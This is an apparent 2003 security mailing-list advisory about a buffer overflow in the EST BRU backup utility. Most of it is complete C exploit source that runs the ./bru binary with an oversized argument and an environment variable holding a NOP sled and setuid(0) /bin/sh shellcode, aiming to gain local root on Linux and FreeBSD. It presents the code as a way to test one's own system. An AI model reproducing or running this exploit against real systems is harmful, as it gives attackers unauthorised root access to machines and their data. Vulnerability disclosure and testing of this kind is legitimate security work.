[EXPL] EST BRU Backup and Restore Utility Local Root Exploit

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To: list@securiteam.com
Date: 20 Jul 2003 19:46:33 +0200

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  EST BRU Backup and Restore Utility Local Root Exploit
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5XP0H20AKU.html> BRU Buffer Overflow
and Format String Vulnerabilities, a vulnerability in BRU allows local
attackers to gain elevated privileges by either causing the product to
overflow an internal buffer, or by sending it a buffer that contains a
format string directive.

The following exploit code can be used to test your system for the
mentioned vulnerability.

DETAILS

Exploit:
/** EST BRU(TM) Backup and Restore Utility Local Root Exploit
 **
 ** By: Dvdman@l33tsecurity.com
 **
 ** Simple Stack overflow Wont say any more :P
 **
 ** Linux & FreeBsd Targets
 **
 ** Greetz:
sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
 **
 ** Public Release
 ** L33tsecurity 2003; irc.secsup.org #l33tsecurity
 **/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/errno.h>

#define FUN "./bru"

char shellcode[] =
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

 /* SETUID(0) SHELLCODE LINUX */
 "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
 "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
 "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

unsigned long sp(void) {
 __asm__("movl %esp,%eax");
}

int main(int argc, char **argv) {

 char buffer[9000];
 int x,target;
 char *env[2];
 char *args[24];
 
 unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN);

 int *ptr = (int *)(buffer);
 if (argc != 2) {
 usage();
 exit(0);
 }

 target = atoi(argv[1]);
 
 if (target == 0) {
 for (x=0; x<9000 ; x+=4)
 *ptr++ = (ret + 1);
 }

 if (target == 1) {
 for (x=0; x<3500 ; x+=4)
 *ptr++ = 0xbfbffe48;
 }

 /* put in env */
 env[0] = shellcode;
 env[1] = NULL;

 args[0] = FUN;
 args[1] = buffer;
 args[2] = NULL;
 

 execve (args[0], args, env);
 perror ("execve");
}

int usage() {
printf("EST BRU(TM)local root exploit\n");
printf("By: Dvdman@l33tsecurity.com\n");
printf("Usage: ./ex_bru target\n");
printf("TARGET LIST:\n");
printf("0. LINUX\n1. FREEBSD\n");
return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:Dvdman@l33tsecurity.com>
Dvdman.

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